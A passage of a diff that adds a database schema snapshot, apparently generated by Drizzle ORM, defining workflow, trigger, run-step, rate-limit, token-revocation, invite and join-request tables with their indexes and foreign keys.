"calendar_triggers_trigger_at_idx", + "columns": [ + { + "expression": "triggerAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_triggers_scheduled_by_idx": { + "name": "calendar_triggers_scheduled_by_idx", + "columns": [ + { + "expression": "scheduledById", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_triggers_calendar_event_idx": { + "name": "calendar_triggers_calendar_event_idx", + "columns": [ + { + "expression": "calendarEventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_triggers_workflow_id_idx": { + "name": "calendar_triggers_workflow_id_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "calendar_triggers_workflowId_workflows_id_fk": { + "name": "calendar_triggers_workflowId_workflows_id_fk", + "tableFrom": "calendar_triggers", + "tableTo": "workflows", + "columnsFrom": [ + "workflowId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_triggers_calendarEventId_calendar_events_id_fk": { + "name": "calendar_triggers_calendarEventId_calendar_events_id_fk", + "tableFrom": "calendar_triggers", + "tableTo": "calendar_events", + "columnsFrom": [ + "calendarEventId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_triggers_driveId_drives_id_fk": { + "name": "calendar_triggers_driveId_drives_id_fk", + "tableFrom": "calendar_triggers", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_triggers_scheduledById_users_id_fk": { + "name": "calendar_triggers_scheduledById_users_id_fk", + "tableFrom": "calendar_triggers", + "tableTo": "users", + "columnsFrom": [ + "scheduledById" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "calendar_triggers_event_occurrence_key": { + "name": "calendar_triggers_event_occurrence_key", + "nullsNotDistinct": false, + "columns": [ + "calendarEventId", + "occurrenceDate" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflows": { + "name": "workflows", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "prompt": { + "name": "prompt", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "steps": { + "name": "steps", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "contextPageIds": { + "name": "contextPageIds", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "'[]'::jsonb" + }, + "cronExpression": { + "name": "cronExpression", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'UTC'" + }, + "triggerType": { + "name": "triggerType", + "type": "WorkflowTriggerType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'cron'" + }, + "eventTriggers": { + "name": "eventTriggers", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "watchedFolderIds": { + "name": "watchedFolderIds", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "eventDebounceSecs": { + "name": "eventDebounceSecs", + "type": "integer", + "primaryKey": false, + "notNull": false, + "default": 30 + }, + "instructionPageId": { + "name": "instructionPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isEnabled": { + "name": "isEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "ownerLeftAt": { + "name": "ownerLeftAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "nextRunAt": { + "name": "nextRunAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "workflows_drive_id_idx": { + "name": "workflows_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflows_created_by_idx": { + "name": "workflows_created_by_idx", + "columns": [ + { + "expression": "createdBy", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflows_agent_page_id_idx": { + "name": "workflows_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflows_enabled_next_run_idx": { + "name": "workflows_enabled_next_run_idx", + "columns": [ + { + "expression": "isEnabled", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "nextRunAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflows_enabled_trigger_type_idx": { + "name": "workflows_enabled_trigger_type_idx", + "columns": [ + { + "expression": "isEnabled", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "triggerType", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflows_driveId_drives_id_fk": { + "name": "workflows_driveId_drives_id_fk", + "tableFrom": "workflows", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflows_createdBy_users_id_fk": { + "name": "workflows_createdBy_users_id_fk", + "tableFrom": "workflows", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "workflows_agentPageId_pages_id_fk": { + "name": "workflows_agentPageId_pages_id_fk", + "tableFrom": "workflows", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflows_instructionPageId_pages_id_fk": { + "name": "workflows_instructionPageId_pages_id_fk", + "tableFrom": "workflows", + "tableTo": "pages", + "columnsFrom": [ + "instructionPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_runs": { + "name": "workflow_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflowId": { + "name": "workflowId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sourceTable": { + "name": "sourceTable", + "type": "WorkflowRunSourceTable", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "sourceId": { + "name": "sourceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "triggerAt": { + "name": "triggerAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "startedAt": { + "name": "startedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "endedAt": { + "name": "endedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "WorkflowRunStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'running'" + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "durationMs": { + "name": "durationMs", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "workflow_runs_workflow_started_at_idx": { + "name": "workflow_runs_workflow_started_at_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "startedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_runs_source_lookup_idx": { + "name": "workflow_runs_source_lookup_idx", + "columns": [ + { + "expression": "sourceTable", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "sourceId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_runs_stuck_run_idx": { + "name": "workflow_runs_stuck_run_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "startedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_runs_running_claim_idx": { + "name": "workflow_runs_running_claim_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"workflow_runs\".\"status\" = 'running'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_runs_workflowId_workflows_id_fk": { + "name": "workflow_runs_workflowId_workflows_id_fk", + "tableFrom": "workflow_runs", + "tableTo": "workflows", + "columnsFrom": [ + "workflowId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_run_steps": { + "name": "workflow_run_steps", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "runId": { + "name": "runId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "toolName": { + "name": "toolName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "WorkflowRunStepStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'running'" + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "durationMs": { + "name": "durationMs", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "startedAt": { + "name": "startedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "endedAt": { + "name": "endedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "workflow_run_steps_run_position_idx": { + "name": "workflow_run_steps_run_position_idx", + "columns": [ + { + "expression": "runId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_run_steps_runId_workflow_runs_id_fk": { + "name": "workflow_run_steps_runId_workflow_runs_id_fk", + "tableFrom": "workflow_run_steps", + "tableTo": "workflow_runs", + "columnsFrom": [ + "runId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.task_triggers": { + "name": "task_triggers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflowId": { + "name": "workflowId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "taskItemId": { + "name": "taskItemId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "triggerType": { + "name": "triggerType", + "type": "TaskTriggerType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "nextRunAt": { + "name": "nextRunAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastFiredAt": { + "name": "lastFiredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastFireError": { + "name": "lastFireError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isEnabled": { + "name": "isEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "task_triggers_workflow_id_idx": { + "name": "task_triggers_workflow_id_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_triggers_task_item_id_idx": { + "name": "task_triggers_task_item_id_idx", + "columns": [ + { + "expression": "taskItemId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_triggers_enabled_next_run_idx": { + "name": "task_triggers_enabled_next_run_idx", + "columns": [ + { + "expression": "isEnabled", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "nextRunAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_triggers_workflowId_workflows_id_fk": { + "name": "task_triggers_workflowId_workflows_id_fk", + "tableFrom": "task_triggers", + "tableTo": "workflows", + "columnsFrom": [ + "workflowId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_triggers_taskItemId_task_items_id_fk": { + "name": "task_triggers_taskItemId_task_items_id_fk", + "tableFrom": "task_triggers", + "tableTo": "task_items", + "columnsFrom": [ + "taskItemId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "task_triggers_task_item_trigger_type_key": { + "name": "task_triggers_task_item_trigger_type_key", + "nullsNotDistinct": false, + "columns": [ + "taskItemId", + "triggerType" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.rate_limit_buckets": { + "name": "rate_limit_buckets", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "window_start": { + "name": "window_start", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "count": { + "name": "count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "rate_limit_buckets_expires_at_idx": { + "name": "rate_limit_buckets_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": { + "rate_limit_buckets_key_window_start_pk": { + "name": "rate_limit_buckets_key_window_start_pk", + "columns": [ + "key", + "window_start" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.revoked_service_tokens": { + "name": "revoked_service_tokens", + "schema": "", + "columns": { + "jti": { + "name": "jti", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "revoked_service_tokens_expires_at_idx": { + "name": "revoked_service_tokens_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.auth_handoff_tokens": { + "name": "auth_handoff_tokens", + "schema": "", + "columns": { + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "auth_handoff_tokens_expires_at_idx": { + "name": "auth_handoff_tokens_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "auth_handoff_tokens_kind_expires_at_idx": { + "name": "auth_handoff_tokens_kind_expires_at_idx", + "columns": [ + { + "expression": "kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": { + "auth_handoff_tokens_token_hash_kind_pk": { + "name": "auth_handoff_tokens_token_hash_kind_pk", + "columns": [ + "token_hash", + "kind" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pending_invites": { + "name": "pending_invites", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "custom_role_id": { + "name": "custom_role_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "invited_by": { + "name": "invited_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "consumed_at": { + "name": "consumed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pending_invites_drive_id_idx": { + "name": "pending_invites_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_invites_email_idx": { + "name": "pending_invites_email_idx", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_invites_expires_at_idx": { + "name": "pending_invites_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_invites_custom_role_id_idx": { + "name": "pending_invites_custom_role_id_idx", + "columns": [ + { + "expression": "custom_role_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_invites_active_drive_email_idx": { + "name": "pending_invites_active_drive_email_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"pending_invites\".\"consumed_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pending_invites_drive_id_drives_id_fk": { + "name": "pending_invites_drive_id_drives_id_fk", + "tableFrom": "pending_invites", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "pending_invites_custom_role_id_drive_roles_id_fk": { + "name": "pending_invites_custom_role_id_drive_roles_id_fk", + "tableFrom": "pending_invites", + "tableTo": "drive_roles", + "columnsFrom": [ + "custom_role_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "pending_invites_invited_by_users_id_fk": { + "name": "pending_invites_invited_by_users_id_fk", + "tableFrom": "pending_invites", + "tableTo": "users", + "columnsFrom": [ + "invited_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "pending_invites_token_hash_unique": { + "name": "pending_invites_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pending_page_invites": { + "name": "pending_page_invites", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "invited_by": { + "name": "invited_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "consumed_at": { + "name": "consumed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pending_page_invites_page_id_idx": { + "name": "pending_page_invites_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_page_invites_email_idx": { + "name": "pending_page_invites_email_idx", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_page_invites_expires_at_idx": { + "name": "pending_page_invites_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_page_invites_active_page_email_idx": { + "name": "pending_page_invites_active_page_email_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"pending_page_invites\".\"consumed_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pending_page_invites_invited_by_users_id_fk": { + "name": "pending_page_invites_invited_by_users_id_fk", + "tableFrom": "pending_page_invites", + "tableTo": "users", + "columnsFrom": [ + "invited_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "pending_page_invites_page_id_pages_id_fk": { + "name": "pending_page_invites_page_id_pages_id_fk", + "tableFrom": "pending_page_invites", + "tableTo": "pages", + "columnsFrom": [ + "page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "pending_page_invites_token_hash_unique": { + "name": "pending_page_invites_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pending_connection_invites": { + "name": "pending_connection_invites", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "invited_by": { + "name": "invited_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "request_message": { + "name": "request_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "consumed_at": { + "name": "consumed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pending_connection_invites_invited_by_idx": { + "name": "pending_connection_invites_invited_by_idx", + "columns": [ + { + "expression": "invited_by", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_connection_invites_email_idx": { + "name": "pending_connection_invites_email_idx", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_connection_invites_expires_at_idx": { + "name": "pending_connection_invites_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_connection_invites_active_inviter_email_idx": { + "name": "pending_connection_invites_active_inviter_email_idx", + "columns": [ + { + "expression": "invited_by", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"pending_connection_invites\".\"consumed_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pending_connection_invites_invited_by_users_id_fk": { + "name": "pending_connection_invites_invited_by_users_id_fk", + "tableFrom": "pending_connection_invites", + "tableTo": "users", + "columnsFrom": [ + "invited_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "pending_connection_invites_token_hash_unique": { + "name": "pending_connection_invites_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_join_requests": { + "name": "drive_join_requests", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "DriveJoinRequestStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requestedAt": { + "name": "requestedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + }, + "decidedAt": { + "name": "decidedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "decidedBy": { + "name": "decidedBy", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_join_requests_one_pending_key": { + "name": "drive_join_requests_one_pending_key", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drive_join_requests\".\"status\" = 'pending'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_join_requests_drive_status_idx": { + "name": "drive_join_requests_drive_status_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_join_requests_user_id_idx": { + "name": "drive_join_requests_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_join_requests_driveId_drives_id_fk": { + "name": "drive_join_requests_driveId_drives_id_fk", + "tableFrom": "drive_join_requests", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_join_requests_userId_users_id_fk": { + "name": "drive_join_requests_userId_users_id_fk", + "tableFrom": "drive_join_requests", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_join_requests_decidedBy_users_id_fk": { + "name": "drive_join_requests_decidedBy_users_id_fk", + "tableFrom": "drive_join_requests", + "tableTo": "users", + "columnsFrom": [ + "decidedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + 